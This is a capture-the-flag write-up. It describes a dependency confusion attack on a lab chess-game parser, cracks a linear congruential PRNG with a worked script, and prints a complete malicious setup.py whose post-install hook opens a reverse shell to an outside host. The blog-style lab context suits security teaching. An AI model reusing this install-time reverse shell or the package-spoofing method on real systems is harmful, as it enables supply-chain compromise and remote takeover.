Home Confusing Moves
Post
Cancel

Confusing Moves

Description

Ahh!! Chess is so confusing … Luckily, Benny created a little website for me to submit my games and give me feedback! What a legend he is…

Benny also left those notes for me but I don’t think I need em:

Public PyPI username: benny
Public PyPI password: gr4ndmast3r

Challenge running at:
http://192.168.125.11:5000
http://192.168.125.11:8081


In this challenge we had two links and a PyPI username and password, first i opend each link to see what i was working with, the first port (5000) we get a web page with a simple login and registration, i created an account and logged in, after logging in there was a PGN game parser, where i could send chess games in PGN format

The second url was a PyPI local server

I submitted a game in the PGN parser and got an error, which doesnt really matter since i could see the error logs. The log shows a command that was being performed pip install --index-url http://publicpypi:8080/simple --extra-index-url http://internalpypi:8080/simple/ --trusted-host internalpypi --trusted-host publicpypi 6f4e0d9c6a248adb. Here i saw that the web server was trying to install a package from an internal private pypi server, i do not have access to this server but the command specified --extra-index-url parameter, immediately dependency confusion came to my mind

Dependency Confusion

There is an amazing video from Bug Bounty Reports Explained on youtube explaining dependency confusion, i sugest you view that video as well! Do not forget to subscribe as well, his content is criminally underrated!

In simple terms when python wants to install a package it will look in the public PyPI repo and search for the package based on its’ name, in this case the server is looking for packages in the private pypi repo. Since --extra-index-url is specified if pip does not find the package name in the private repo it will fallback to the public repo and search there as well, in this case the public repo is port 8081 from the description since all challenges in the CTF cannot access the internet.

But where is the attack? Well with python, if it finds the same package name in both the private and the public repo it will pick the package with the highest version, and since anyone can specify their own package version from the setup.py file an attacker can create a package with the same name as one being install on a victim server and specify a high version number, e.g. v99.9.9. Resulting in the attackers package being installed, within the package an attacker can create post-install scripts ultimatly gaining RCE on the victims system.


Back to the challenge, up until this point i though this would be an easy task, boy i was wrong, i knew from the logs that a package named 6f4e0d9c6a248adb was being installed. I clicked submit again to see if the same package name was being installed, of course not. The next package name was 3c5eb392c7386f1c so i need to figure out how the package names were being calculated, then i could predict the next package name and perform the dependency confusion attack. I tested everything i could imagine, from split hashes of the PGN game i was providing, to hashes of the timestamp, and then i thought that it was probably a part of the hash from my CSRF token.

I checked the source code of the site to find my CSRF token and found something much more promising. A comment in the HTML source code talking about a package name generator. This is golden, the user also saved the code at the /generator path.

I quickly viewed the /generator path and it was just python code of a PRNG (pseudorandom number generator)

generator.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Cryptodome.Random import get_random_bytes
from Cryptodome.Random.random import randint
from Cryptodome.Util.number import getPrime

class PRNG:
    
    def __init__(self):
        self.n = getPrime(8*8, randfunc=get_random_bytes)
        self.m = int.from_bytes(get_random_bytes(8), byteorder="big") % self.n
        self.c = int.from_bytes(get_random_bytes(8), byteorder="big") % self.n
        self.state = int.from_bytes(get_random_bytes(8), byteorder="big") % self.n
        for _ in range(randint(128, 1024)):
            self.state = self.next()
        
    def next(self):
        self.state = (self.state * self.m + self.c) % self.n
        return self.state
    
    def next_as_hex(self):
        return hex(self.next())[2:]

After some googling about PRNGs and various attacking techniques i finaly realised this is a Linear Congruential PRNG.

Linear Congruential PRNG

Basically the generator uses 3 standard random numbers, a modulus(self.n), multiplier(self.m) andaddend(self.c). Next the intial seed(self.state) is calculated, also randomly. Once these values are stored we can create psudorandom values by using the previous seed, multiplying it with the multiplier, adding the addend to this value and then mod the whole value with the modulus.

random_number = (previous_random_numer * multiplier + addend) mod modulus

I played around with this code locally, i instansiated the PRNG() class which gave me the initial modulus,multiplier and addend. Then i created 3-4 random seeds with the next_as_hex function. At this point i realised i could calculate the next values as long as i had the modulus,multiplier and addend.

e.g.

Now i have the 3 inital values i can calculate random number 2 from 1

Now i know what i need, but how can i get the modulus,multiplier and addend from the random values?

Cracking the PRNG

Well this is where simple maths comes to play. If i have 3 equations with 3 unknown values i can solve each and figure out the 3 values

First i need 4 values to create my 3 equations. Ill stick with the same 4 values from the above screenshot.

1) 13b313a26f4db61e

2) 966f7590fac9de51

3) 5d5149a304940ba1

4) 4c4ec62f72afc1f4

Now i converted each from hex to integers

1) 1419499895924831774

2) 10840012093647347281

3) 6724236683146169249

4) 5498550102155837940

And from here i can create the 3 equations from how the values were created:

1) 10840012093647347281 = (1419499895924831774 * multiplier + addend) mod modulus

2) 6724236683146169249 = (10840012093647347281 * multiplier + addend) mod modulus

3) 5498550102155837940 = (6724236683146169249 * multiplier + addend) mod modulus

Okay now i can cancel out the addend easily by subtracting eq.2 from eq.1 and then subtract eq.3 from eq.1, this will give me eq.4 and eq.5 without the addend

eq.1 - eq.2:

4) 4115775410501178032 = (-9420512197722515507 * multiplier) mod modulus

eq.1 - eq.3:

5) 5341461991491509341 = (-5304736787221337475 * multiplier) mod modulus

Now i can multiply eq.4 with eq.5 this gives me 2 more equations with the same multiplier, next i can subtract eq.6 with eq.7 and cancel out the multipler from the equation.

eq.4 * eq.5

6) -50319307844516963087733649734707850887 = (49973337609725958011211458341967724825 * multiplier ) mod modulus

eq.5 * eq.4

7) -21833105228026600550214082414128349200 = (49973337609725958011211458341967724825 * multiplier ) mod modulus

eq.6 - eq.7

8) -28486202616490362537519567320579501687 = 0 mod modulus

Perfect, now we can solve this by factorizing 28486202616490362537519567320579501687 which leads us to: modulus = 11675585406757968173 which we can confirm from our example above!

Now we have the modulus we can solve either eq.4 or eq.5 to find the multiplier.

4) 4115775410501178032 = (-9420512197722515507 * multiplier) mod 11675585406757968173

I solved this with wolfram alpha

And i got multiplier = 335386188912177566 again this is correct by confirming the answer with my inital example in the screenshot above.

Now i had the multipler and the modulus i can solve eq.1,2 or 3 with wolfram again

1) 10840012093647347281 = (1419499895924831774 * 335386188912177566 + addend) mod 11675585406757968173

and got addend = 9987278686775939247 again confirmed and correct. Now i have all 3 values i can predict the next values the PRNG will generate, like i explained above.

I wrote myself a simple python script that expects the 4 random values, obviously in series from when they were created. Then it will print the equations that need to be solved in wolfram, once solved i just pasted the answer in the input field. Then the script will print the next value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from sage.all import *
import sys


int_hash1 = int(sys.argv[1], 16)
int_hash2 = int(sys.argv[2], 16)
int_hash3 = int(sys.argv[3], 16)
int_hash4 = int(sys.argv[4], 16)

print("I) " + str(int_hash2) + " = (" + str(int_hash1) + " *a + b) mod M" )
print("II) " + str(int_hash3) + " = (" + str(int_hash2) + " *a + b) mod M" )
print("III) " + str(int_hash4) + " = (" + str(int_hash3) + " *a + b) mod M" )

print()
print("Subtract I from II and III to remove b")
print()

int_IVa = int_hash2 - int_hash3
int_IVb = int_hash1 - int_hash2


int_Va = int_hash2 - int_hash4
int_Vb = int_hash1 - int_hash3

print("IV) " + str(int_IVa) + " = (" + str(int_IVb) + "*a) mod M" )
print("V) " + str(int_Va) + " = (" + str(int_Vb) + "*a) mod M" )

print()
print("Multiply eachother to cancel a")
print()

print("VI) " + str(int_IVa * int_Vb) + " = (" + str(int_IVb * int_Vb) + " *a) mod M")
print("VII) " + str(int_Va * int_IVb) + " = (" + str(int_Vb * int_IVb) + " *a) mod M")

to_factor = int_IVa * int_Vb - int_Va * int_IVb

print()
print("factorize: " + str(to_factor))

M = factor(to_factor)
M = M[-1:][0][0]

print()
print("Modulos M: " + str(M))

print()
print("Now we can solve a with wolfram")
multiplier_eq = str(int_IVa) + " = (" + str(int_IVb) + "*a) mod " + str(M)
print("IV) " + multiplier_eq )


multiplier = input('Provide answer manually: ')


print()
print("Multiplier: " + str(multiplier))

print()
print("Now we can solve I and find b with wolfram")
addend_eq = str(int_hash2) + " = (" + str(int_hash1) +"*"+str(multiplier) + "+b) mod " + str(M)
print("I) " +  addend_eq)
addend = input('Provide answer manually: ')


print()
print("Modulos: " + str(M))
print("Multiplier: " + str(multiplier))
print("Addend: " + str(addend))

print()
print("Calculating next value")
next_value = hex((int(sys.argv[4], 16) * int(multiplier) + int(addend)) % int(M))[2:]
print("Next Value will be: " + str(next_value))

Solving the Challenge

Now i have cracked the PRNG i checked if it could actually work on the server, to prove it worked i submitted 5 games to the parser, to generate 5 different package names, I used the first 4 hex values to calculate the 5th and compared it to the 5th package name from the server.

The four values were

1) 6f4e0d9c6a248adb

2) 3c5eb392c7386f1c

3) 54e9c3411b728ea5

4) 5eb68dc914ffd679

As you can see from the screenshot above my next value predicted was 2263725b9377882a. And checking the 5th log from the server i got:

Perfect i can successfully predict the next package name that the server will install, now back to the dependency confusion attack. Now I predicted the 6th value the server would create.

The next package name will be 749fc4798a51ff3b

Now i need to create a package named 749fc4798a51ff3b, use a high version number and upload it to the pypi server the challenge description gave us.

Creating a pip package was quite easy, all i needed to do was create a folder with the following files:

  • setup.py
  • setup.cfg
  • README.md
  • LICENSE.txt
  • 749fc4798a51ff3b/

inside the 749fc4798a51ff3b/ folder from above i created an empty __init__.py file.

setup.cfg

# Inside of setup.cfg
[metadata]
description-file = README.md

README.md

1
# 749fc4798a51ff3b

Now setup.py is where all the magic happens, i am not going to explain the details of creating this file, there are lots of resources online. I just want to point out that my reverse shell is within the PostInstallCommand function. From the name one can guess that this function runs after the package has been installed. Also i have specified the package version to be 99.9

setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from distutils.core import setup
import sys,socket,os,pty
from setuptools import setup
from setuptools.command.develop import develop
from setuptools.command.install import install

class PostDevelopCommand(develop):
    """Post-installation for development mode."""
    def run(self):
        develop.run(self)
        # PUT YOUR POST-INSTALL SCRIPT HERE or CALL A FUNCTION

class PostInstallCommand(install):
    """Post-installation for installation mode."""
    def run(self):
        RHOST="192.168.125.100"
        RPORT=1234

        s=socket.socket()
        s.connect((RHOST,int(RPORT)))
        [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
        pty.spawn("/bin/sh")
        install.run(self)


setup(
  name = '749fc4798a51ff3b',         # How you named your package folder (MyLib)
  packages = ['749fc4798a51ff3b'],   # Chose the same as "name"
  version = '99.9',      # Start with a small number and increase it with every change you make
  license='MIT',        # Chose a license from here: https://help.github.com/articles/licensing-a-repository
  description = 'pwned',   # Give a short description about your library
  author = 'saintbarber',                   # Type in your name
  author_email = 'saintbarb3r@gmail.com',      # Type in your E-Mail
  url = '',   # Provide either the link to your github or to your website
  download_url = '',    # I explain this later on
  keywords = ['saintbarber', 'pwning'],   # Keywords that define your package best
  install_requires=[            # I get to this in a second
      ],
  classifiers=[
    'Development Status :: 3 - Alpha',      # Chose either "3 - Alpha", "4 - Beta" or "5 - Production/Stable" as the current state of your package
    'Intended Audience :: Developers',      # Define that your audience are developers
    'Topic :: Software Development :: Build Tools',
    'License :: OSI Approved :: MIT License',   # Again, pick a license
    'Programming Language :: Python :: 3',      #Specify which pyhton versions that you want to support
    'Programming Language :: Python :: 3.4',
    'Programming Language :: Python :: 3.5',
    'Programming Language :: Python :: 3.6',
  ],

  cmdclass={
        'develop': PostDevelopCommand,
        'install': PostInstallCommand,
    },

)

This is what the hierarchy of the package should look like:

Now i ran the command python setup.py sdist to create my package, and then uploaded it to the challenge server with:

twine upload --repository-url http://192.168.125.11:8081/ dist/*

The credentials to upload packages are given to us in the description

I ssh’ed into my attack machine that the CCSC gave us to get reverse shells, etc, and opened up a listener on port 1234.

Clicked submit again on the web challenge and…

Popped a shell ;)

I found the flag in the root directory

flag: CCSC{d3p3ndenc1es_4nd_ch3ss_m0v3s_4r3_v3ry_c0nfus1ng!!!}

Well done to _Rok0'sBasilisk_ for creating one the most difficult challenge i have ever solved! kudos

This post is licensed under CC BY 4.0 by the author.